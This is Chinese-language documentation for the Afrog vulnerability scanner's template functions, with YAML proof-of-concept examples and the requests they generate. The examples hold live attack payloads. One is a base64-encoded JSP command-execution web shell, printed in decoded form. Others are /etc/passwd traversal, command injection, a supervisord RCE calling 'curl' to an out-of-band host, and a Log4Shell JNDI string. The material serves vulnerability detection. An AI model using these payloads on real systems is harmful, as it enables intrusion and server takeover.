在使用 Afrog 内置函数时,请注意以下事项:它们仅能在 set 和 expression 中声明,而不能直接在 path、headers、body 等位置使用。
例如:
id: demo
info:
name: Demo
author: zan8in
severity: info
rules:
r0:
request:
method: POST
path: /md5={{md5(string(randomInt(10000000, 50000000)))}} # 错误
headers:
md5str: "{{md5(randomLowercase(16))}}" # 错误
body: "{{randLowercase(32)}}" # 错误
expression: true
expression: r0()
正确用法是首先在 set 内声明,详细用法请参考 md5 函数示例
内置函数源码位置:v2\pkg\runner\celcompile.go
生成一个指定长度的随机数字
生成一个 10000, 99999 之间的随机数
r1: randomInt(10000, 99999)
生成一个 800000000, 1000000000 之间的随机数
r1: randomInt(800000000, 1000000000)
randomInt 完整示例
id: random-int-demo
info:
name: Random Integer Demo
author: zan8in
severity: info
set:
r1: randomInt(10000, 99999)
r2: randomInt(800000000, 1000000000)
rules:
r0:
request:
method: GET
path: /r1={{r1}}&r2={{r2}}
expression: true
expression: r0()
请求包
GET /r1=60501&r2=986034118 HTTP/1.1
Host: 192.168.66.166
生成一个指定长度的随机字符串
生成一个长度6的字符串
randstr: randomLowercase(6)
randomLowercase 完整示例
id: random-string-demo
info:
name: Random String Demo
author: zan8in
severity: info
set:
randstr: randomLowercase(6)
randbody: randomLowercase(32)
rules:
r0:
request:
method: POST
path: /filename={{randstr}}.php
body: "{{randbody}}"
expression: true
expression: r0()
请求包
POST /filename=xszgrr.php HTTP/1.1
Host: 192.168.66.166
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
uxqbyjmetnfxsvxdqeirapxmrzwolksf
验证一个[]byte是否包含另一个[]byte的函数,区分大小写
response.body.bcontains(b'ThinkPHP')
response.raw_header.bcontains(b'Set-Cookie')
验证一个[]byte是否包含另一个[]byte的函数,不区分大小写
response.body.ibcontains(b'thinkphp')
response.raw_header.ibcontains(b'set-cookie')
验证一个字符串是否包含另一个字符串的函数,区分大小写
response.headers["content-type"].icontains("application/json")
验证一个字符串是否包含另一个字符串的函数,不区分大小写
response.headers["location"].icontains("zabbix.php?action=dashboard.view")
用于替换字符串中的所有匹配项
基本用法
r1: replaceAll("this is a test", "test", "Test")
完整示例
id: replace-all-demo
info:
name: ReplaceAll Demo
author: zan8in
severity: info
set:
r1: replaceAll("this is a test", "test", "Test")
rules:
r0:
request:
method: POST
path: /
body: "{{r1}}"
expression: true
expression: r0()
请求包
POST / HTTP/1.1
Host: 192.168.66.166
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
this is a Test
字符串转为大写
r1: toUpper("admin")
结果
ADMIN
字符串转为小写
r1: toLower("Admin")
结果
admin
md5 加密
加密一个随机 Int 类型变量
md5str: md5(string(randomInt(10000000, 50000000)))
加密一个随机 string 类型变量
md5str: md5(randomLowercase(16))
加密一个字符串
md5str: md5("123456")
md5 完整示例
创建 md5-demo.yaml 文件,编写内容
id: md5-demo
info:
name: MD5 Demo
author: zan8in
severity: info
set:
md5str-1: md5(string(randomInt(10000000, 50000000)))
md5str-2: md5(randomLowercase(16))
r3: md5("123456")
rules:
r0:
request:
method: GET
path: /
headers:
md5-1: "{{md5str-1}}"
md5-2: "{{md5str-2}}"
md5-3: "{{r3}}"
expression: true
expression: r0()
请求包
GET / HTTP/1.1
Host: 192.168.66.166
Md5-1: a1291a39f613c3351516bf1e30ef3f40
Md5-2: 30272788dca037d61cb8e6790c61692f
Md5-3: e10adc3949ba59abbe56e057f20f883e
对字符串或字节数组进行 Base64 编码
编码一个字符串
admin: base64("admin:admin")
编码一个字节数组
user: base64(bytes("user:user"))
编码一个变量
rInt1: randomInt(800000000, 1000000000)
rInt2: randomInt(800000000, 1000000000)
result: base64(string(rInt1+rInt2))
base64 完整示例
id: base64-demo
info:
name: Base64 Demo
author: zan8in
severity: info
set:
admin: base64("admin:admin")
user: base64(bytes("user:user"))
rInt1: randomInt(800000000, 1000000000)
rInt2: randomInt(800000000, 1000000000)
result: base64(string(rInt1+rInt2))
rules:
r0:
request:
method: POST
path: /
headers:
Authorization: "Basic {{admin}}"
User: "{{user}}"
body: "{{result}}"
expression: true
expression: r0()
请求包
POST / HTTP/1.1
Host: 192.168.66.166
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Authorization: Basic YWRtaW46YWRtaW4=
User: dXNlcjp1c2Vy
MTc0ODQzNDI5Nw==
对字符串或字节数组进行 Base64 解码
base64 完整示例
id: base64-decode-demo
info:
name: Base64 Decode Demo
author: zan8in
severity: info
set:
bodystr: base64Decode("REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkTjFsaU40S1h3aVZHemZUMmRFZzYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo8JUAgcGFnZSBsYW5ndWFnZT0iamF2YSIgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT48JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wKyJcbiIpO31idWYuY2xvc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge2xpbmUuYXBwZW5kKGUuZ2V0TWVzc2FnZSgpKTt9cmV0dXJuIGxpbmUudG9TdHJpbmcoKTt9ICU+PCVpZigiYXNhc2QzMzQ0NSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkmJiEiIi5lcXVhbHMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSl7b3V0LnByaW50bG4oIjxwcmU+IitleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U=")
rules:
r0:
request:
method: POST
path: /
body: "{{bodystr}}"
expression: true
expression: r0()
请求包
POST / HTTP/1.1
Host: 192.168.66.166
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd33445".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce
对字符串或字节数组进行 Url 编码
password: urlencode(base64("1234"))
urlencode 完整示例
id: url-encode-demo
info:
name: Url Encode Demo
author: zan8in
severity: info
set:
filename: randomLowercase(4) + ".txt"
content: randomLowercase(8)
base64Url: urlencode(base64("`echo " + content + " > " + filename + "`"))
password: urlencode(base64("1234"))
bodystr: |
<%@Register
TagPrefix = 'x'
Namespace = 'System.Runtime.Remoting.Services'
Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
%>
<x:RemotingService runat='server'
Context-Response-ContentType='xxx'
/>
payload: urlencode(bodystr)
rules:
r0:
request:
method: POST
path: /user=admin&psw={{password}}&base64Url={{base64Url}}
body: "{{payload}}"
expression: true
expression: r0()
请求包
POST /user=admin&psw=MTIzNA%3D%3D&base64Url=YGVjaG8gZWFwZGh4aWogPiBlcGdkLnR4dGA%3D HTTP/1.1
Host: 192.168.66.166
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Content-Type: application/x-www-form-urlencoded
%3C%25%40Register%0A++++TagPrefix+%3D+%27x%27%0A++++Namespace+%3D+%27System.Runtime.Remoting.Services%27%0A++++Assembly+%3D+%27System.Runtime.Remoting%2C+Version%3D4.0.0.0%2C+Culture%3Dneutral%2C+PublicKeyToken%3Db77a5c561934e089%27%0A%25%3E%0A%3Cx%3ARemotingService+runat%3D%27server%27%0A++++Context-Response-ContentType%3D%27xxx%27%0A%2F%3E%0A
对字符串或字节数组进行 Url 解码
url: urldecode("https%3A%2F%2Fexample%2Ecom")
urldecode 完整示例
id: url-decode-demo
info:
name: Url Decode Demo
author: zan8in
severity: info
set:
url: urldecode("https%3A%2F%2Fexample%2Ecom")
rules:
r0:
request:
method: GET
path: /
headers:
Referer: '{{url}}'
expression: true
expression: r0()
请求包
GET / HTTP/1.1
Host: 192.168.66.166
Referer: https://example.com
对字符串进行 hex 解码
hexdecode 完整示例
id: hex-decode-demo
info:
name: Hex Decode Demo
author: zan8in
severity: info
set:
hexbody: hexdecode("789c0bf06666e16200819c8abcf02241510f4e201b84851864189cc35c758d0c8c8c754dcc8d4cccf44a2a4a42433819981fdb05a79e63f34b2dade0666064f9cac8c0c0023201a83a3ec43538842bc09b91498e1997b1126071a026862d8d506d1896b0422c41b320c09b950da2979121024887824d02000d3f1fcb")
rules:
r0:
request:
method: POST
path: /
body: "{{hexbody}}"
expression: true
expression: r0()
请求包
POST / HTTP/1.1
Host: 192.168.66.166
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
x�
�ff�b�����"AQN �d��\u�
?�!H��MJBC8����c�K-��f`d�����2�:>�58�+���I���`q�&�-�Pm��B,A� ���
各种日期格式拼接
年 比如:2023
year = year(0)
年简写 比如:23
shortYear = shortyear(0)
月份 比如:12
month = month(0)
日 比如:02
day = day(0)
当前时间戳(秒)
tsecond = timestamp_second(0)
完整示例
id: date-demo
info:
name: Date Demo
author: zan8in
severity: info
set:
year: year(0)
shortYear: shortyear(0)
month: month(0)
day: day(0)
tsecond: timestamp_second(0)
millisecond: tsecond + "000"
pathname: shortyear(0) + month(0)
logfile: shortyear(0) + "_" + month(0) + "_" + day(0) + ".log"
rules:
r0:
request:
method: GET
path: /log={{pathname}}/{{logfile}}
headers:
Y: "{{year}}"
S: "{{shortYear}}"
M: "{{month}}"
D: "{{day}}"
T: "{{tsecond}}"
MS: "{{millisecond}}"
L: "log={{pathname}}/{{logfile}}"
expression: true
expression: r0()
请求包
GET /log=2312/23_12_11.log HTTP/1.1
Host: 192.168.66.166
S: 23
M: 12
D: 11
T: 1702266237
Ms: 1702266237000
L: log=2312/23_12_11.log
Y: 2023
用于类似 2.89.1 > 2.67.30 版本号大小的判断,返回 True / False
versionCompare 完整示例
id: CVE-2023-46604
info:
name: Apache ActiveMQ RCE
author: zan8in
severity: critical
set:
hostname: request.url.host
host: request.url.domain
port: request.url.port
rules:
r0:
request:
type: tcp
host: "{{host}}:61616"
data: "\n"
read-size: 1024
expression: response.raw.ibcontains(b'ActiveMQ')
extractors:
- type: regex
extractor:
ext1: '"ProviderVersion.+(?P<version>[0-9]\\.[0-9]{1,2}\\.[0-9]{1,2})".bsubmatch(response.raw)'
version: ext1["version"]
r1:
request:
type: tcp
host: "{{host}}:61616"
data: "\n"
read-size: 1024
expression: |
versionCompare(string(version),"<","5.15.16") ||
(versionCompare(string(version),">","5.16.0") && versionCompare(string(version),"<","5.16.7")) ||
(versionCompare(string(version),">","5.17.0") && versionCompare(string(version),"<","5.17.6")) ||
(versionCompare(string(version),">","5.18.0") && versionCompare(string(version),"<","5.18.3"))
expression: r0() && r1()
正则表达式处理中的一个函数,用于获取与指定子表达式匹配的部分字符串,用于提取匹配的子表达式内容。
返回值:提取匹配的子表达式内容
bsubmatch 完整示例
r0: 当登录请求成功且响应头包含 Set-Cookie 时,将其提取为变量 cookie。
r1: 使用提取的 Cookie 访问首页 /index.php。
id: bsubmatch-demo
info:
name: Regex bsubmatch Demo
author: zan8in
severity: info
rules:
r0:
request:
method: POST
path: /login.php
body: "username=admin&password=123456"
expression: true
output:
search: '"Set-Cookie: (?P<cookie>.+)".bsubmatch(response.raw_header)'
cookie: search["cookie"]
r1:
request:
method: GET
path: /index.php
headers:
Cookie: "{{cookie}}"
expression: true
expression: r0()
r0 请求
POST /login.php HTTP/1.1
Host: 192.168.66.166
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Content-Type: application/x-www-form-urlencoded
username=admin&password=123456
r0 响应
HTTP/1.1 302
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 11 Dec 2023 06:06:42 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
Set-Cookie: PHPSESSID=xxx.xxx; Path="/"
r1 请求
GET /index.php HTTP/1.1
Host: 192.168.66.166
Cookie: PHPSESSID=xxx.xxx; Path="/"
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
r1 响应
HTTP/1.1 200
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
Content-Length: 326
Content-Type: text/html; charset=iso-8859-1
Date: Mon, 11 Dec 2023 06:06:42 GMT
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>Admin Panel</title>
</head><body>
<h1>Console</h1>
...
</body></html>
用于检查一个字符串是否与正则表达式匹配。
返回值:True / False
读取文件 /etc/passwd 并验证是否成功读取
id: fileread-demo
info:
name: File Read Demo
author: zan8in
severity: info
rules:
r0:
request:
method: POST
path: /download.php?file=../../../etc/passwd
expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()
执行系统命令id
并验证是否成功执行
id: rce-demo
info:
name: Remote Code Execution Demo
author: zan8in
severity: info
rules:
r0:
request:
method: POST
path: /rce.php?cmd=id
expression: response.status == 200 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)
expression: r0()
wait
用于执行无回显的命令的POC,通过调用外部链接平台,在等待几秒钟后请求该外部链接平台,以验证是否成功接收到命令执行的信号。
reverse 漏洞验证要求配置 reverse 环境,配置教程
基本用法
set 声明两个变量
reverse
: 初始化一个 dnslog
reverseURL
: dnslog 的 url,比如 http://xxxxxx.xxyyy.ceye.io,一般用于 curl {{reverseURL}} 操作
reverseHost
: dnslog 的 host,比如 xxyy.ceye.io,一般用于 ping {{reverseHost}} 操作
set:
reverse: newReverse()
reverseURL: reverse.url
reverseHost: reverse.url.host
wait 完整示例
id: reverse-demo
info:
name: Reverse Demo
author: zan8in
severity: info
set:
reverse: newReverse()
reverseURL: reverse.url
rules:
r0:
request:
method: POST
path: /rce.php
body: |
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>curl {{reverseURL}}</string>
</param>
</params>
</methodCall>
expression: response.status == 200 && reverse.wait(5)
expression: r0()
请求包
POST /rce.php HTTP/1.1
Host: 192.168.66.166
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Content-Type: application/x-www-form-urlencoded
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>curl http://36sSyqGPGpMZ.xxyy.eyes.sh</string>
</param>
</params>
</methodCall>
用于验证 JNDI 相关漏洞
JNDI 漏洞验证要求配置 JNDI 环境,配置教程
基本用法
与 wait 类似,JNDI 也需要使用 set 声明两个变量。
reverse
: 初始化一个 JNDI
jndiURL
: JNDI 的 url,比如 x.x.x.x:1389/uqaUoxlZ067lSK0Mt37aC,一般用于 LDAP 操作
set:
reverse: newJNDI()
jndiURL: reverse.url.host + reverse.url.path
wait 完整示例
id: reverse-demo
info:
name: Reverse Demo
author: zan8in
severity: info
set:
reverse: newJNDI()
jndiURL: reverse.url.host + reverse.url.path
rules:
r0:
request:
method: GET
path: /websso/SAML2/SSO/vsphere.local?SAMLRequest=
headers:
X-Forwarded-For: "${jndi:ldap:${::-/}${::-/}{{jndiURL}}}"
expression: reverse.jndi(5)
expression: r0()
请求包
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.66.166
X-Forwarded-For: ${jndi:ldap:${::-/}${::-/}x.x.x.x:1389/QW5qJX3cb16PKivauJxyWl}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36